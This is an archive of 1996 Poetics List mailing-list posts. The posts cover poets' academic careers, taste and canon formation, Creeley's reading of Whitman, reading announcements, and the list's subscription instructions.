From: "Ronald Creagh, Moderator, Research on Anarchism List"
<[redacted]>

Date: Tue, 3 Dec 1996 11:20:29 -0500 (EST)
>From: Grrrl <[redacted]>

Greetings, The Reseau de solidarite avec le Mexique-(Montreal) {Mexico Solidarity Network} is an organisation that has been working consistently for the last two years to educate about and support, principally, the Zapatista

movement in Chiapas, Mexico, and well as the broader social movement. We have a homepage with lots of information about Mexico, outdated stuff about our group, EZLN communiques, and lots of links to other solidarity groups. Check it out.

HOMEPAGE: http://www.physics.mcgill.ca/WWW/oscarh/RSM

VIVA LA REVOLUCION!

TO SEND A MESSAGE TO EVERYONE write to [redacted]. with the text SIGnoff RA-L (no subject nor signature).

Moderator/Moderador/Moderateur : Ronald Creagh
Co-Moderator : John P. Clark
e-mail : [redacted]
snail mail/correo ordinario/courrier ordinaire : Ronald Creagh, Universite Paul Valery, B.P. 5043, 34032, Montpellier-Cedex, France.
fax : (33) 67 64 77 23

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188. **Ron Silliman**

After Kampuchea....

Thu 5 Dec 1996

>----------
>
>Date: Tue, 3 Dec 1996 21:16:21 -0800
>From: Marjorie Perloff <[redacted]>
>Subject: Re: Serbia
>
>Many of you know Dubravka Durcik and her husband Misko: they have spent
>time at Buffalo and Dubravka is both poet and critic and has translated
>many of our essays. I hear from Dubravka quite regularly but lately
>nothing and meanwhile we have the specter of the student rebellions in
>Belgrade (where D lives and works) on the nightly news and as usual
>Clinton is doing absolutely nothing.
>
>My question to the List is: is there something we can specifically do to
>add to the protest against Milosevic? Would a group letter to the NY
>Times be in order? I'd love some feedback.
>
>Marjorie Perloff

>
>----------

Marjorie,

What precisely would you say?

I'm certainly up for doing something. But it feels profoundly frustrating. Without the UN as a truly international force with legitimacy to go in and simply sweep out the war criminals and hold apart factions who've been at odds for so many centuries that nobody really remembers why they are doing this to one another (which, in a way, is exactly what the Stalinist regimes did both in Yugoslavia and the old USSR), what moves would you recommend?

One of the great tragedies of the post-soviet period has been the unmasking of the impotence and disfunctionality of the UN, due in no small part to the very negative role that the US has played for many years. Clinton kowtowing to Jesse Helms by putting the kibosh on Boutros-Ghali makes me cringe.

This of course being the same administration that puts everything on the line with China over software piracy but looks the other way at human rights and child labor abuses.

Suggest what we would/should say.

It's only a slightly different thread here to wonder how Adorno's line must sound now in Serbia? Bosnia? Chechnya? Zaire?

Right at the end of the time when I worked in the Tenderloin in San Francisco (1977-81), there were many Kampuchean people moving into the neighborhood. In addition to Pol Pot and his practices, those who made it out went through horrific experiences getting away. Eighty-five percent of the women had been raped by pirates.

What makes us think we live in anything other than the dark ages?

On a lighter note, I want to thank Mark and Mark and William Marsh for their remarkably thoughtful posts on the relationship of teaching to their lives as writers. Those pieces illuminated just what this list can do at its finest. Thanks,

Ron Silliman

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189. **Michael Boughn**
Blaser readings
Thu 5 Dec 1996

Robin Blaser will be reading twice in Southern Ontario in January, 1997.

On Sunday, January 12, he will be reading for the Modern Fuel Series in Kinston, Ontario. Reading with him will be Michael Boughn.

On Wednesday, January 15, he will be reading for the Art Bar Series at the Imperial Pub in Toronto. Reading with him will be Erin Moure. The reading is at 7:30 PM.

This is a rare opportunity, not to be missed.

Mike
[redacted]

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190. **Michael Boughn**
Canlit query
Thu 5 Dec 1996

Would someone who knows it please backchannel me the listserv address of the Canlit list? I'd appreciate it.

Thanks,
Mike
[redacted]

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191. **Jordan Davis**
hubris
Thu 5 Dec 1996

"The highest sacrilege is understood as hubris, which, attainable only by a god, transforms him into a dead form. To give oneself form--that is the definition of 'hubris.'" --Walter Benjamin, "Two Poems by Friedrich Holderlin"

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192. **Jordan Davis**
Basho notebook
Thu 5 Dec 1996

Speaking of what graduate studies do... anybody else hear this phantom report on BBC World Service that Matsuo Basho's working notebook had been found in

a used bookstore in Japan? That it includes any number of revisions, and several unpublished haiku? Kind of hard to appreciate the magnitude, huh?
Jordan Davis

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193. **Burt Kimmelman**
Re: PHDS
Thu 5 Dec 1996

Karl,

One more after-point: I would like to imagine that the PhD in whatever discipline really means something. So, let us suppose that some school, some dept, some group of professors, views the exploding writing industry (how many graduate writing programs are there these days? Answer: A whole lot.) as an opportunity for them to create a real cash cow that will please their provost and upper administration in general; indeed, the cash cow can'

even pay for other programs, worthy programs though ones that may not be paying for themselves (the financial bottom line is NOT the criterion for deciding moral,scholarly,artistic worth, despite what many university presses, for instance, seem to have come round to believing these days). So they set up a PhD program in creative writing; after all, think of all those MFAs who, having now earned their writer's accreditation, need something to do, somewhere to go to meet with other writers and so on. But a PhD program has to justify itself by having students, right. The problem here is, what is the guarantee that this program will accept students with talent only? I ask this question because, unlike the world of scholarship, there is no other system in our society for scholars to operated in except the university system--whereas the "creative writer" can possibly thrive in the world of publishing (either small or big press, small or big magazine, through well known or obscure writing competitions).

burt

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194. **tmandel**
The Academic Career?
Thu 5 Dec 1996

This list is on its 3d or greater way around the list of topics, alas, one of its problems (for me, I mean). In particular the question of the academy as a career for poets was shaken like a dirty carpet for a month or more at least two years ago, with extensive and strongly felt contributions by me and by Ron.

Someone might want to go back and take a look.

I taught at the University of Chicago and the University of Illinois in the sixties -- when I was a fledgeling grad student. I was on my way to an academic career and quite clear on the attractions and advantages. Attractions included above all that there are few careers which pay you to read books. I like to read books. And fewer still that offer the hours offered to teachers. Teaching, while you do it, is hard wor-- performance work. But, from experience, not as hard as waiting tables, and you wait tables longer hours.

If you actually have something to teach -- that is, you are a master and have something to pass along (please remember that this was the original model for the relationship upon which these institutions have been erected) -- and you are drawn to pass it along, i.e. if teaching is a calling, why then it is a noble one to be sure.

The academy has *nothing whatever* to do with poetry -- zero. If anything it seems to have a pretty generally negative effect on poets. I don't mean teaching does, teaching is a job, I mean committing to the academic career.

Small ponds breed vicious competitive frogs -- any doubts of this axiom?

There are really many interesting things to do in the world. Most of them, in my experience, take more intelligence and imagination than the academic career, are more rewarding both in the experience and effect of accomplishing something and more rewarding financially than a career in the academy.

With notable exceptions -- including Perloff, Nielsen and other friends on this list, and many others too, I don't mean to be a pig -- I have not found that the academy attracts a particularly high brand of intelligence; it's not, in other words, a place to go because you like to be around smart people.

Hence, if it's hard to get an academic job, and above all if you intend to write a poetry that occupies the largest world you can identify -- why not quit grad school, all of you who are grad students. Young professors among you, look for something else to do.

The reason fly paper works, it attracts flies. Next subject.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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195. **amato**
Re: what graduate studies do
Thu 5 Dec 1996

bill marsh, how to say this w/o somehow alienating you and others?...

when i read yr post, much as i'm in sympathy with what you say, and much as i sense your conflictedness, i also feel that somehow you've managed (though it may just be me, and my hypersensitivity to certain issues) to sidestep an important aspect of the changes underway throughout academe...

for example: when you suggest that you're really not quite sure you *want* to be part of the professoriate, what i hear is both a critique of the current state of the professoriate (which is fine) AND an endorsement of the "contingent" workforce that, as i see it, is symptomatic of broader economic realities (which is, well, not so fine)...

another example: when you suggest that teaching returning students is an increasingly important aspect of academe, what i hear is both recognition of these returning students as worthy of our attention as faculty (which is fine) AND endorsement of the administrative zeal with which so many postsecondary institutions are busy colonizing these (and this is right out of some local promo lit) "serious educational consumers"...

bill: what happens to teaching---in the classroom---when educational administrators know they've got a contingent faculty workforce that they can effectively push around to meet "consumer" needs?... what, exactly, does it mean to teach returning students who are returning less b/c they want an education and more b/c they want a *credential*?... and what does it mean when such returning students are 'empowered' *as consumers*?... what does it mean, for that matter, when *any* student is so empowered?...

even more: what's *wrong* with a full-time faculty position, with a reasonable course load (3/3, say), a reasonable wage (let's say $40,000 a year to start, in a mid-size city), good institutional support and benefits, and some academic freedom to teach students (or if you like, "promote learning"), a position that isn't keyed to vocationalizing or credentializing objectives?... what's wrong with an approach to writing, specifically, that isn't, again, functionalized in terms of "effective communication" and the like?... or to put it another way: what could possibly be RIGHT with teaching alphabetic technologies strictly in such terms?... even seymour papert, with whom i find mself consistently disagreeing, at least values the alphabet as a means of control---which would require a rather sophisticated notion of same in order to achieve various sorts of literacies...

and wrt writing in particular: nothing against the entire wac/wpa movement in itself, but fact is (just read the mla jil) these positions are more and more customarily being described as *administrative* positions... wpa---writing program administrator---is in fact just that, but the way this latter is being conceived is more and more in admin. terms... the opening on my campus, at this moment, is in fact *half-time admin*... and this is a tenure-track position, which leads me to ask how tenure will be construed for such an individual... but in any case: much as with attempts to unionize engineers in the 20s and 30s in this country, by opening up tenure-track lines that are primarily administrative, the "company" effectively encourages a different sort of loyalty---one to the institution, not to the profession (in the case of engineering, it was a shift out of engineering and into management that helped to compromise unionizing efforts)... one can perhaps understand why i'm eager to hold on to the category of the professional, but in any case it should be clear that writing is in fact the academic rubric under which this administrative push is taking place... no, it doesn't have to be this way---but if it *is* this way, it's b/c writing has generally found itself on the bottom of the disciplinary totem pole wrt english studies... anyway, breaking writing off from literature, though it may be a wise thing to do on some campuses, opens it up for admin. colonizing...

in an age of soi-disant excellence in education (and this is clearly our age), the goals of the institution are likely to be extremely exclusive... this has happened before (in this century, in the u.s.), but perhaps never with such overwhelming corporate influence... what i'm saying, bill, is that while i want very much to support *you* in your work and teaching, as a colleague, i'd also like to be able to get you over into the full-time faculty workforce with, say, me! (and i've already talked about how un-utopian my position is, so please don't hear this as a condescension)... but in order to do so, it's gonna take some attention to the realities that are being forced down our collective throats---we're gonna have to be willing to change these realities...

please excuse any residual harshness or one-sidedness here, i'm trying to flesh out more a feeling i get in reading over your post...

all best,

joe

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196. **R I Caddel**
Bunting Centre Web Site
Thu 5 Dec 1996

The Basil Bunting Poetry Centre's web pages are now available at:

http://www.dur.ac.uk/dul0www1

They're still under development, but I hope you enjoy them and link them to your own sites where you can.

Richard Caddel
Durham University Library, Stockton Rd., Durham DH1 3LY, UK
E-mail: R.I.Caddel @ durham.ac.uk
Phone: [redacted] Fax: [redacted]
WWW: http://www.dur.ac.uk/~dul0ric

"Words! Pens are too light. Take a chisel to write."
- Basil Bunting

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197. **R I Caddel**

Re: Bunting Centre Web Site

Thu 5 Dec 1996

This message no has the CORRECT URL in it!

On Thu, 5 Dec 1996, R I Caddel wrote:

> *The Basil Bunting Poetry Centre's web pages are now available at:*
>
> *http://www.dur.ac.uk/~dul0www1*
>
> *They're still under development, but I hope you enjoy them and link them to your own sites where you can.*
>
> ---
>
> *Richard Caddel*
> *Durham University Library, Stockton Rd., Durham DH1 3LY, UK*
> *E-mail: R.I.Caddel @ durham.ac.uk*
> *Phone:* [redacted] *Fax:* [redacted]
> *WWW: http://www.dur.ac.uk/~dul0ric*
>
> "*Words! Pens are too light. Take a chisel to write.*"
> *- Basil Bunting*
>
> ---

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198. Ira-Lightman
Re: PHDS
Thu 5 Dec 1996

My own feeling at having completed a creative writing
Ph.D using models from Antin to LangPo (which was not
welcomed!) at an English university: is, I used the
time to experiment, and I'm really glad that the
resulting experiment is "in the public domain" ie
available on the shelfs of my university library,
but I don't want to see it in print more widely;
I prefer to be represented more widely by the few
pamphlets I've been asked to do. It seems odd to me
that creative writing postgard courses are not
advertised ot framed as a place to experiment, and
to think about writing, and how amateur writing
might be good for people, and how we discourage
anyone from doing writing if we go on about "who's
a writer, who isn't" - sometimes by thinking we're
doing big, publishable, fame-making, critically
acclaimed, writing, we do our best personal work,
using writing in a process of personal growth.
I believe history will judge who had the right to
call themselves writers just from doing a course
or whatever.

Ira Lightman

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199. Christopher Alexander
Re: taste, judgment, etc...
Thu 5 Dec 1996

Joseph said:
> it's possible that taste has never been experienced or looked at outside
> an investigation however selforunselfconscious of its relation to power
> structures race class gender:
yes without a doubt--whatever needs to be said about the consequences
of a 'disinterested' (this is how e read "orunselfconscious") aesthetics
for groups excluded from power and representation, we allow that
aesthetic its complexity; there was more than "...but I know what I like"

before radical sociology and cultural studies. Im thinking bourdieu vs
the critique of judgement --anybody have the odds on this?

>however one problem we postmodern folk who
> know Pound for example knowing this (we could do likewise with Stein or
> Williams or Eliot) is how do we experience agency . . . our perceived and
> experienced subject position to make decisions and commitments with very
> real consequences. so it's not either the aesthetic or the political but both and
--neither, yes, the line betwn them being indefinite and so the
categories, etc. [wants to say the difference is that we 'realize'
the consequences, but] so did the moderns. Eliots agenda for example
wasnt less directed or 'realized', ie. less understood & of less
consequence, than, say, Bruce Andrews--only more conservative
[says understatement]. 'our' frame of reference has changed, the tools
of interrogation have changed and changed us but--
..
christopher alexander, etc.
[redacted]

"The second edition of this book consists largely of
a reproduction of the first edition, with additional
theorms and examples."
 --t.m. macrobert, preface to t.j.i'a. bromwich's
an introduction to the theory of infinite series

↑ Index

200. Pierre Joris
cowmusic
Thu 5 Dec 1996

Some sock-fillers for all ya cowboys'n'girls:

COWBOY SONGS ON FOLKWAYS
This thoroughly entertaining anthology features 15 performers from
different backgrounds and a wide variety of musical styles (among them
Harry Jackson, Woody Guthrie, and Ray Reed) and they all sing, boast,
and
recite poetry in homage to the life and times of honest and hardworking
cowboys. Smithsonian/Folkways.
=>#SM103 $16

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If we have your credit card number on file, place an order by simply emailing a list (with catalog numbers) of the CDs you'd like. Otherwise, email for ordering information.

==========
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Voice: [redacted]
Fax: [redacted]

[redacted]
http://www.emf.org

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

↑ Index

201. JNORTON.US.ORACLE.COM
Another killer poet
Thu 5 Dec 1996

[The San Francisco Examiner]

Tuesday, Dec. 3, 1996 7 Page A 1
) 1996 San Francisco Examiner

S.F. poet arrested in fatal shooting

Suspect Janice Duff a North Beach fixture since 1960s

Jim Herron Zamora
OF THE EXAMINER STAFF

A North Beach poet and longtime member of The City's coffeehouse beat scene has been arrested for allegedly shooting a man to death at the home where she was staying, police said.

Janice Duff, whose poetry is published under the name Janice Blue, was arrested on suspicion of murdering William Dyble, 58, on Sunday morning in the home on Water Street off Columbus Avenue, homicide Lt. David Robinson said.

Police said the killing apparently stemmed from a drunken fit of anger on the part of Duff.

"She had been drinking heavily," he said. "For some reason, she became upset with him. She got a gun and shot him."

Police say Duff also threatened Judy Smith, a female companion of Dyble's who ran out of the home and called 911.

Duff, 54, was arrested outside without resistance. Although she gave a statement to police, "what she said was unintelligible," Robinson said.

Dyble, a retired longshoreman, died at 6:30 p.m. at San Francisco General Hospital. Investigators found what they believe was the gun used to kill him.

Duff was being held without bail at San Francisco County Jail. She may be arraigned Tuesday or Wednesday.

Duff is well-known among local poets and has been active in North Beach for many years. But several people interviewed Monday said they had lost touch with her in recent years.

"I can't believe this," said Duff's former publisher, Kay McDonough of Connecticut. "She's a gentle, loving person. It just seems beyond all for her to harm anyone." McDonough's company, Greenlight Press, published a book of Duff's poems in 1978 titled "Good Old No-Man's Land." McDonough, who was then based in San Francisco, knew Duff from the North Beach poetry scene and frequently shared the stage with her during coffeehouse readings.

In a short autobiographical section of her book, Duff said she was born Janice Faye Adams, the daughter of a tobacco farmer in the "extreme western edge of Kentucky." The family moved to St. Louis when she was 15.

She dropped out of high school after two years and gave birth to a daughter, she said. Then she "dropped into" the beatnik scene in St. Louis for a few years before moving to San Francisco in 1962.

In the early 1960s she took up poetry and decided to wear blue exclusively. She began using the name "Blue" or "Janice Blue."

"I wear only that color," she wrote in the 1970s. "It is my aspect and my slant in life as in poetry."

Although she's made The City her home for some 30 years, Duff has spent several stints in New Orleans and has described herself as a veteran cross-country traveler.

"She's a very old-style Bohemian kind of lady," McDonough said. "She used to travel around with her guitar. She really has a gift. She writes in kind of a magical vein."

Her work contains both fanciful and gritty paeans to The City, especially North Beach and its cafe culture. She also wrote of birds talking to St. Francis about the strangeness of humans.

"She's a great folk poet," said Jack Mueller, an Oakland poet active in the North Beach scene. "This is really unbelieveable. She's a very sweet woman."

↑ Index

202. Gabrielle Welford

place to stay?

Thu 5 Dec 1996

Hope this doesn't get posted twice. Poetics wasn't receiving last night. I feel as though there ought to be a squeak, a gradstudently squeak at the end of the subject line. :-) g.

Dear everyone and all. I am to the MLA going to give a paper and cannot afford to pay for a hotel room. Is there anyone there already who has a floor I can occupy about 5' 4" worth of? Or anyone going who'd be willing to let me sleep on their hotel room floor? I don't snore. Backchannel me please with your huge replies. Hopeful... gab.

↑ Index

203. Patrick Foley
taste again, and a long story, and more
Thu 5 Dec 1996

I'm still having trouble here, and can't help but feel this argument about the "taste economy" is a distraction. There's something I want to get at, in the grey area between what Wystan says about the necessity of making aesthetic choices and what Eliza says about speaking as a Master of the Textual Universe. I can't focus on it. On the one hand, I love the way Sam Spade says, "I don't anything about that" when asked about something he knows nothing about. Good. Don't pretend to knowledge you don't have. Don't speak as a Master if you aren't, and as Eliza says, who can be nowadays? But artists seem always to be doing something that _looks_ like this. Frost & Yeats were famously dismissive of free verse. Frost & Stevens were famously dismissive of each other. ("The trouble with you, Robert, is that you write about _things_." "The trouble with you, Wallace, is that you write about bric-a-brac.") Now what counts as knowledge? How much did Yeats need to know about free verse to know he hated it, as he hated the look of modern Dublin? Is he wrong? His ideas are not the same as mine. (Eliot thought that was the wonderful thing about Yeats, that young people had in their midst a demonstrably great poet whose ideas they could not share.) Are Frost's and Stevens's remarks about each other meaningless? I tend to think not. Neither one was an idiot. There's something to these dismissals.

George & Mary Oppen printed _Spring & All_ by hand, more or less, in France. Charles Reznikoff published himself. I don't remember if he set some of his own type, as Whitman had. Robt. Creeley published Olson's _Mayan Letters_ himself, and a lot more besides. It was DIY. Are these issues of a "majority culture" and "repressed minorities"? Apparently not. They might be issues of taste & its economy, I dunno.

I don't want to argue about the nature of culture. I don't want to see another Pound war on this list, I was here for the last one.

There's a story someone tells about sitting around in a bar maybe with a bunch of poets (and maybe this was a poem, I don't remember) and our storyteller says something approving of a poem by Whitman, and everyone roars -- except James Schuyler, who says, "I think that is a _beautiful_ poem." What's the received view of Whitman? Here's a don at Oxford who says Milton is the finest poet ever to grace the English language with his benificent invention; here's a don at Cambridge says he's the next thing to a fraud. What's the received view of Milton? Why do American philosophy departments teach Kant but not Emerson? Why don't they teach Bradley anymore? Are these questions of taste or fashion?

So you decide to find out for yourself. What happens? If you read Amira Baraka all on your own for the first time, and you think, "Jesus! This guy can write!" -- that is, if you respond immediately, without any effort to rethink your own tastes, and if you've had classes where the writings of his white friends were taught (now this is hypothetical), then maybe you have an explanation for why no one had put the book in your hands before. And it might change the way you look at your professors.

Sometimes you don't respond immediately, and no simple explanation for a writer's exclusion comes to hand. Creeley tells this story about his learning to appreciate Whitman and many of us could probably tell a similar story. Whitman, these days, for many of us, seems to take a while. It's a nice story; here's the whole thing (fair use?):

"I remember a course I took with F. O. Matthiessen, surely a man of deep commitment and care for his students [and gay, which might be relevant infra -- PF], from which [Hart] Crane had been absented. I asked for permission to give a paper on Crane, which he gave me, but I had overlooked what I should have realized would be the response of the class itself, understandably intent upon its own sophistications. How would they accept these lines, for example?

yes, Walt,
Afoot again, and onward without halt,--
Not soon, nor suddenly,--no, never let go
My hand
in yours,
Walt Whitman--
so--

If they did not laugh outright at what must have seemed to them the awkwardly stressed rhymes and sentimental camaraderie, then they tittered at Crane's will to be one with his fellow _homosexual_. But didn't they hear, I wanted to insist, the pacing of the rhythms of those lines, the syntax, the intently human tone, or simply the punctuation? Couldn't they read? Was Crane to be simply another 'crudity' they could do glibly be rid of?"

Pause. What's the explanation for Creeley's ability to read Hart Crane, when his classmates couldn't? Continuing:

"But still I myself didn't read Whitman, more than the few poems of his that were 'dealt with' in classes or that some friend asked me to. No doubt I was embarrassed by my aunt's and my grandmother's ability to recite that terrible poem, "O Captain! My Captain!" banal as I felt it to be, and yet what was that specious taste which could so distract my attention and could righteously dismiss so much possibility, just because it didn't 'like' it? Sadly, it was too much my own. "So I didn't really read Whitman for some years

although from time to time I realized that the dispositions toward his work must be changing. Increasing numbers of articles began to appear as, for one example, Randall Jarrell's "Whitman Revisited". But the import of this writing had primarily to do with Whitman's work as instance of social history or else with its philosophical basis or, in short, with all that did not attempt to respect the technical aspects of his writing, his prosody and the characteristic method of his organization within the specific poems. "It was, finally, the respect accorded to Whitman by three of my fellow poets that began to impress me as not only significant to their various concepts of poetry but as unmistakable evidence of his basic use to any estimation of the nature of poetry itself."

I was going to stop sooner, but I want to talk a bit about this part so here it is:

"I had grown up, so to speak, habituated to the use of poetry as compact, epiphanal instance of emotion or insight. I valued its intensive compression, its ability to 'get through' a maze of conflict and confusion to some center clear 'point'. But what did one do if the emotion or terms of thought could not be so focused upon or isolated in such singularity?"

Alright, I'll stop finally. The three poets were Ginsberg, Duncan & Zukofsky. This is all from RC's introduction to the Penguin _Selected Whitman_. (I get it from an o.p. collection, _Was That a Real Poem & other essays_, Four Seasons. It may be around elsewhere.)

An interesting story, to me, interesting at least in how typical it must be of all such stories, and interesting in that Creeley finally reads Whitman in an act of reconsidering poetry itself. (And that fellow poets play a crucial role.) He does not indicate that he had done this with Hart Crane, but maybe he had, and had done it earlier, before his ideas about poetry were so fixed as to exclude Whitman so decisively. Maybe there's always a re-evaluation of poetry in reading each poet you really connect with. And maybe Crane's and Whitman's homosexuality had something to do with their status in academia. It doesn't seem to have had much to do with Creeley's different routes to their poetry.

Does Creeley have a similar story about Edgar Guest? No. And the reasons he can dismiss Edgar Guest are the same as the reasons he could hear Hart Crane, I would think, and maybe why he was prepared for Whitman once the scales were lifted from his eyes. Not all exclusions are the same. But it's worth going over what happens with Whitman. It wasn't just some skittishness about homosexuality or sentimentality or anything so simple as that he had to overcome: it was a conviction about the nature of poetry, and one that he was in some sense "bred" to. One would think this was exactly the sort of thing we were talking about here. It's certainly what I've been wanting to talk about.

I'm not sure I can see what cultural structure that idea Creeley had about poetry was part of. And I'm not sure he analysed its context in order to free

himself of it. He found his way within poetry & ideas about poetry. Maybe that's just characteristic of him; he professes that Whitman as history or philosophy didn't swing the balance, and that it took poets reading Whitman as a poet, and a good craftsman in some sense.

That's a long story about taste, and coming to accept, more than accept but be changed by, a poet that taste had excluded. And what happens to that taste, to the old ideal of the compact, focused, epiphany poem? I wonder. Creeley's poems seem somehow to draw on both ideas. It's almost eerie to read his descriptions of these ideas in turn, and see how they both "fit" what he himself came to do. What does he think of poems that are cut to fit the old pattern? I don't know. Maybe he still appreciates them within their given aesthetic. He has remarked, apropos of poetry slams, that not all poetry has to go in the same box, that poetry is various. I hope I've given no indication of thinking otherwise.

But this is an important moment -- what happens to the old ideal? I'm struggling with it myself, having been thrust into contact lately with some poetry of Robert Lowell and Seamus Heaney, and finding I don't like it. I used to. And I like some poets now I used to not, and many more that used to just puzzle me. I've been feeling a strong urge to canonize my lately come to heritage -- not for everybody, but as where I belong. And that means not exactly dismissing but missing the appeal of a lot of other poetries. Or at least, I've been trying to keep from investigating _everything_ as I used to. It's tempting to go back and reread and try to fix my changing aesthetic by comparative methods. Tempting to study Jorie Graham's latest and situate myself in opposition. What is it here I don't like? Very tempting but I have this feeling I could learn more by focusing on what does appeal to me, and simply staying away from what doesn't.

(The university library where I used to go to school had what may have been a complete set of Robert Peters's volumes of criticism, The Great American Poetry Bake-off series. I used to pore over those even though I liked a lot that he skewered and didn't get a lot that he praised to the skies. But I liked his freshness. (Anybody read any of this stuff? I haven't read any of his poems.) I liked his resistance to reputation, the way he seemed to read each book, even or especially by poets he had praised in the past, as if it had arrived anonymously on his desk. Not that he could, but he seemed to be able to calibrate his filters to screen out the reputation. I still remember those books. That's a critic.)

Now with Creeley -- what do you suppose he read after Whitman? Maybe he could still "appreciate" poems that approximated that sort of New Critical lyric ideal he alludes to, but do you suppose he sought out such poems? Isn't there

often a sort of "effective dismissal" in what you spend your time doing? That is, in what you commit your limited life's energy to. Those commitments have a lot to do with change. Pound is always desperately trying to correct his own education. A sort of "lies my teacher told me" phenomenon. I understand that this is exactly where the motivation of cultural studies comes from. Reading Gaudier Brzeska (quoted by Pound) this afternoon on my lunch break, it reminded me of nothing so much as A Thousand Plateaus. It's curious, that similarity, as is the similarity to say Marshall McLuhan.

Digression 31: Something I love in Wittgenstein, and why I am so drawn to him sometimes, is the way he says what's needed -- maybe not that, but at any rate, what we lack -- is what one pair of translators call happily a "bird's eye view" or our language, an uebersichtliche Darstellung of it. Wittgenstein is a good read on the necessity and impossibilty of the ideal, the description of behaviour in terms of rules, thought in terms of logic, etc. These things are not quite what they claim to be, what they are claimed to be by philosophers, but they are not simply delusions or ideology of some kind either. They are in some way intrinsic to language. And I'm thinking that the overreaching judgments of poets & critics, the seeming pretense of being Master of the Textual Universe, is something similar. An attempt at a bird's eye view. Maybe what Pound was after. I read just today, EP saying, "That many scholars write under a terror. They are forced to maintain a pretence of omniscience. This leads to restricting their field of reference." Slightly different emphasis, but very close to what Eliza McGrand was saying, but from here he heads at the demon specialization. And yesterday he said, "About thirty years ago, seated on one of the very hard, very slippery, thoroughly uncomfortable chairs of the British Museum main reading room, with a pile of large books at my right hand and a pile of somewhat smaller ones at my left hand, I lifted my eyes to the tiers of volumes and false doors covered with imitation bookbacks which surround that focus of learning. Calculating the eye-strain and the number of pages per day that a man could read, with deduction for say at least 5% of one man's time for reflection, I decided against it. There must be some other way for a human being to make use of that vast cultural heritage." Indeed, what are we to do?

Two days rambling. My way of asking for enlightenment.

Pat

↑ Index

204. **Bil Brown**

Re: Coultas / Mlinko @ POETRY CITY

Thu 5 Dec 1996

Someone say HELLO to Brenda for ME.'

I'm an old Naropa buddy -- Bil Brown.

Thanks,

BB

↑ Index

205. **Dorulet D Ana**
(no subject)
Fri 6 Dec 1996

---

according to earlier

↑ Index

206. **Chris Stroffolino**
jeff mcdaniel
Fri 6 Dec 1996

I am told that Jeff McDaniel--author of ALIBI SCHOOL--formerly of Washington DC, and NYC area (sarah larry)--is now in the LA AREA---does anybody have an address or phone number for him.....please backchannel me..... thanks, chris stroffolino

↑ Index

207. **Poetics List**
NY Saturday Afternoon
Fri 6 Dec 1996

Just a word:

Ron Silliman

reading with

Abigail Child

at the Ear Inn

300 block of Spring Street

NYC

Saturday, Dec. 7th

2:30 PM

You're all invited
(you especially, Alfred)

↑ Index

208. Poetics List
Sutkever/Serbia/posting
Fri 6 Dec 1996

---

1) to Marjorie Perloff:
Marjorie, you have my support too for some kind of group expression about the situation in Serbia.

2) to Joseph Lease:
Where can I read Avrom Sutkever?

3) This is a general plea against automatic inclusion in replies of whole previous postings, sometimes including the postings to which they themselves are replies, sometimes etc. Sometimes the system doesn't even designate what is previous and what is current. This added to the Net's own supplementary verbiage can put us digest-readers off reading the postings at all.

Thanks.

Fiona

↑ Index

209. Poetics List
New and Improved Welcome Message
Fri 6 Dec 1996

Note that this new version of the welcome message includes the new listserv address. The new address is in effect now, so send messages to

[redacted]

There has been some confusion: the address [redacted] is the listowner account. Please direct all questions, problems, complaints, etc., to this address. All messages to the Poetics List should be sent to [redacted].

Rev. 11-15-96

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

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2. Subscriptions
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4. Digest Option
5. Temporarily turning off Poetics mail
6. Who's Subscribed
7. The Electronic Poetry Center (EPC)
8. Poetics Archives at EPC
9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]) and Loss Pequen~o Glazier ([redacted]).]

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

The "list owner" of Poetics is Charles Bernstein: contact him for further information. Joel Kuszai is currently working on the administration of the list. For subscription information contact us at [redacted].

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Cautions

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to
[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "listserv."

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

